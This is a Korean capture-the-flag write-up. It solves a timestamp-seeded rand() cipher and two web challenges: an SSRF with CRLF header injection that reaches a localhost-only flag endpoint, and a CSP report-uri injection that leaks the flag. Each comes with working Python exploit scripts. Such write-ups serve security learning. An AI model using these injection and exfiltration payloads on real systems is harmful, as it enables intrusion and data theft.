문제의 힌트를 보면 _flag.png_파일을 10개의 chunk로 나누어 어떤 처리를 했다는 것을 유추할 수 있고, 각 chunk를 _binary_의 입력으로 사용했다고 생각해볼 수 있다.

f = open("flag.png","rb")
data = f.read()
filesize = len(data)
for i in range((filesize // 1000) + (0 if (filesize%1000==0) else 1)):
    frag = data[i*1000:(i+1)*1000]
$ stat flag.png
  File: flag.png
  Size: 9519            Blocks: 24         IO Block: 4096
...

_binary_를 살펴보면 현재 시간을 seed로 사용하여 랜덤한 값을 암호화에 사용하고 있다. _flag.png.XX_의 timestamp 정보를 알 수 있으므로 rand()에서 어떤 값이 나올지 모두 알 수 있고, 이를 역연산하는 코드를 작성하여 flag를 얻을 수 있었다.

srand(time(0LL));

void make_rand_buf() {
  for ( int i = 0; i <= 15; ++i )
    rand_buf[i] = rand();
}

void action1_func() {
    ...
    range = rand() % (256 - j);
    ...
}

void action1_func() {
    ...
    range = rand() % (16 - j);
    ...
}

Solution

from ctypes import *

libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")

def make_pbox(n):
    pbox = [0]*n
    list1 = [x for x in range(n)]
    list2 = [] 

    for i in range(n):
        r = libc.rand() % (n-i)

        for j in range(r):
            list2.append(list1.pop())

        pbox[i] = list1.pop()

        for j in range(r):
            list1.append(list2.pop())

    return pbox

def enc(data, randbuf):
    history = []

    for i in range(64):
        action = libc.rand() % 3
        
        if action == 2: # xor
            for j in range(len(data)):
                 data[j] ^= randbuf[j % 16]

            history.append((2, None))

        elif action == 0:
            pbox = make_pbox(256)
            for j in range(len(data)):
                data[j] = pbox[data[j]]

            history.append((0, pbox))
            
        elif action == 1:
            pbox = make_pbox(16)

            for j in range(0, len(data)-1, 16):
                tmp = [0]*16
                for k in range(16):
                    tmp[pbox[k]] = data[j + k]
                for k in range(16):
                    data[j + k] = tmp[k]

            history.append((1, pbox))

        else:
            exit(1)

    return data, history
    
def dec(data, history, randbuf):
    for i in range(64):
        action, pbox = history.pop()
        
        if action == 2: # xor
            for j in range(len(data)):
                 data[j] ^= randbuf[j % 16]

        elif action == 0:
            for j in range(len(data)):
                data[j] = pbox.index(data[j])
            
        elif action == 1:
            for j in range(0, len(data)-1, 16):
                tmp = [0]*16
                for k in range(16):
                    tmp[k] = data[j + k]
                for k in range(16):
                    data[j + k] = tmp[pbox[k]]

        else:
            exit(1)
    
    return data

#
#dec("out/flag.png.00", filetimes[0])

result = bytearray()

filetimes = [1661114954, 1661114956, 1661114964, 1661114970, 1661114975, 1661114982, 1661114992, 1661114995, 1661115002, 1661115005]
for i in range(10):
    libc.srand(filetimes[i])
    randbuf = [libc.rand() & 0xFF for _ in range(16)]

    data = bytearray(b"testqwerasdfzxcv")
    enc_test, history = enc(data, randbuf)
#    dec_test = dec(enc_test, history, randbuf)
#    assert dec_test == data

    with open(f"out/flag.png.{i:02d}", "rb") as f:
        data = bytearray(f.read())
    result += dec(data, history, randbuf)

    for i in range(0x5, 0x10):
        if bytes([i]*5) in result[-0x10:]:
            result = result[:-i]

with open("flag.png", "wb") as f:
    f.write(result)

Q. API Portal

Vulnerability

_action/flag/flag.php_를 보면 localhost에서 접속하고, post data로 mode, dbkey, key를 넘겨주면 flag를 파일에 출력해주는 것을 알 수 있다.

<?php
include "_flag.php";

if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1" || $_SERVER["REMOTE_ADDR"] === "::1") {
    if($_POST["mode"] === "write" && isset($_POST["dbkey"]) && isset($_POST["key"])) {
        
        $k1 = md5($_POST["dbkey"]);
        $k2 = md5($_POST["dbkey"].$_POST["key"]);
        $value = base64_encode($flag);

        @file_put_contents("/tmp/api-portal/db/$k1/$k2", $value);
        die("success");
    }
}

_flag.php_에 localhost에서 post를 하기 위해 _action/net/proxy/post.php_를 살펴보면 header에 REQUEST_URI가 들어가게 되고, CRLF를 추가하여 data와 함께 post 요청을 할 수 있다.

$url = "http://".$param[0]; // $_GET["url"]
$ip = $param[1]; // $_SERVER["REMOTE_ADDR"]
$referer = $param[2]; // urldecode($_SERVER["REQUEST_URI"])

$header = "User-Agent: API Portal Proxy\r\n";
$header .= "X-Forwarded-For: {$ip}\r\n";
$header .= "X-Api-Referer: {$referer}";

$ctx = stream_context_create(array(
    'http' => array(
        'method' => 'POST',
        "content" => "", //TODO: implement
        'header' => $header
    )
));

Solution

import requests
from urllib.parse import quote

s = requests.Session()

url = "http://host1.dreamhack.games:12293"

key = "asd"
dbkey = "asd"

r = s.get(f"{url}", params={"action": "db/create", "key": key})
print(r.text)

content = "mode=write&dbkey=asd&key=asd"
header = "Content-Type: application/x-www-form-urlencoded\r\n"
header += f"Content-Length: {len(content)}"

r = s.get(f"{url}/?action=net/proxy/post&url=127.0.0.1/?action=flag/flag&" + quote(f"\r\n{header}\r\n\r\n{content}"))
print(r.text)

r = s.get(f"{url}", params={"action": "db/list"})
print(r.text)

r = s.get(f"{url}", params={"action": "db/read", "dbkey": dbkey, "key": key})
print(r.text)

R. 100-100

Vulnerability

_prob.php_는 Content-Securiy-Policy 헤더와 GET parameter로 받은 헤더를 추가한다. 페이지를 렌더링할 때 {{flag}}는 localhost에서 접근할 때 flag로 대체된다.

header("Content-Security-Policy: default-src 'none'; base-uri 'none'; navigate-to 'none';");
if($_GET["extreme"])
	header($_GET["extreme"], false);
...
function simple_template($input) {
	$input = str_replace("{{flag}}", get_flag(), $input);

Content-Security-Policy에 report-uri옵션을 지정하면, CSP Violation이 발생했을 때 지정한 uri로 내용에 대해 post 요청을 보내준다.

Content-Security-Policy는 여러 개의 헤더가 있으면, most restricted된 policy를 따른다.

위 두 속성을 이용하면, CSP에 report-uri를 추가할 수 있고, src에 flag를 추가해 CSP Violation이 발생되면 원하는 uri로 flag를 포함한 post 요청을 보낼 수 있다.

Solution

import requests

url = "http://host3.dreamhack.games:17992"

payload = "http://localhost/prob.php?content=<img src={{flag}}>&extreme=Content-Security-Policy: default-src 'none'; report-uri /receiver.php?uid=asd;"

r = requests.post(f"{url}/submit.php", data={"url": payload})
print(r.text)

S. sleepingshark

scapy를 사용하려다 너무 느려서 Wireshark 필터 http and http.time > 2를 사용해 수동으로 찾았다.

T. Survey/설문조사